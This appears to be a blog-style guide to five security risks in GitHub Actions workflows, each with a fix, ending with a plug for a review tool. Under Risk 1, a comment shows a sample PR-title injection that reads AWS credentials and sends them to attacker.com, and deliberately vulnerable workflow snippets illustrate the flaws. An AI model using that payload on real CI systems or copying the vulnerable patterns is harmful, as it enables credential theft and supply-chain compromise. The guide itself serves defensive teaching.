GitHub Actions workflows are some of the most privileged code in your repository. They run with access to every secret you've configured, can write to your repository, push to registries, and deploy to production. They're also almost never reviewed for security.
Supply chain attacks targeting CI/CD have increased significantly — compromising a workflow is often easier than compromising the application it builds. Here's what to watch for.
Risk 1: Untrusted input in run steps
The most dangerous pattern in GitHub Actions: using GitHub context variables — which can contain attacker-controlled content — inside a run step.
# Vulnerable: PR title could contain shell injection
- name: Check PR title
run: |
echo "PR title: ${{ github.event.pull_request.title }}"
# Attacker sets title to: "; curl https://attacker.com/$(cat ~/.aws/credentials) #"
When a pull request is opened, github.event.pull_request.title is attacker-controlled. If it's interpolated into a shell command, that's command injection against your CI runner — which has access to your secrets.
# Fixed: use an environment variable, not direct interpolation
- name: Check PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "PR title: $PR_TITLE" # safe: env vars don't execute
This applies to any github.event.* field that comes from user input: PR title, PR body, issue title, comment body, branch name.
Risk 2: pull_request_target with checkout
pull_request_target runs in the context of the target repository (with access to secrets) but the workflow code comes from the PR branch. If the workflow checks out the PR branch and runs its code, an attacker can modify the workflow steps in their PR.
# Dangerous: pull_request_target + checking out PR code
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker's code!
- run: npm install && npm test # runs attacker's package.json scripts
If you need pull_request_target to access secrets (e.g., to post comments with a token), keep the workflow logic in the base branch and never execute code from the PR branch.
Risk 3: Unpinned third-party actions
Using a third-party action by tag (uses: some-org/some-action@v2) means you're running whatever code that tag points to — and tag references are mutable. An attacker who compromises the action's repository can change what @v2 points to.
# Vulnerable: tag is mutable
- uses: actions/checkout@v4
# Fixed: pin to full commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Tools like Dependabot for Actions (configured in .github/dependabot.yml) can keep pinned SHA references up to date automatically:
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
Risk 4: Excessive GITHUB_TOKEN permissions
By default, the GITHUB_TOKEN in Actions has read and write permissions across your repository. Most workflows only need read access. Scope it down:
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: write # post PR comments only
steps:
...
Set the default at the organisation or repository level to read-only, then grant write permissions only to the specific jobs that need them.
Risk 5: Secrets in logs
GitHub Actions masks registered secrets from logs — but only if they're accessed via ${{ secrets.MY_SECRET }}. If a secret's value appears in a log through another path (printed by a dependency, decoded from base64, or echoed in a debug step), it won't be masked.
# If the DB URL appears in a curl output or error message, it won't be masked
- run: curl ${{ secrets.DATABASE_URL }}/health
# Fix: explicitly mask derived values
- run: |
decoded=$(echo "${{ secrets.BASE64_SECRET }}" | base64 -d)
echo "::add-mask::$decoded"
Reviewing Actions workflows automatically
BattleTest's PR review includes workflow file analysis — flagging the patterns above when a .github/workflows/ file is modified. The most impactful checks: expression injection patterns, pull_request_target with checkout of head ref, and unpinned actions. These are the patterns that lead to supply chain compromises.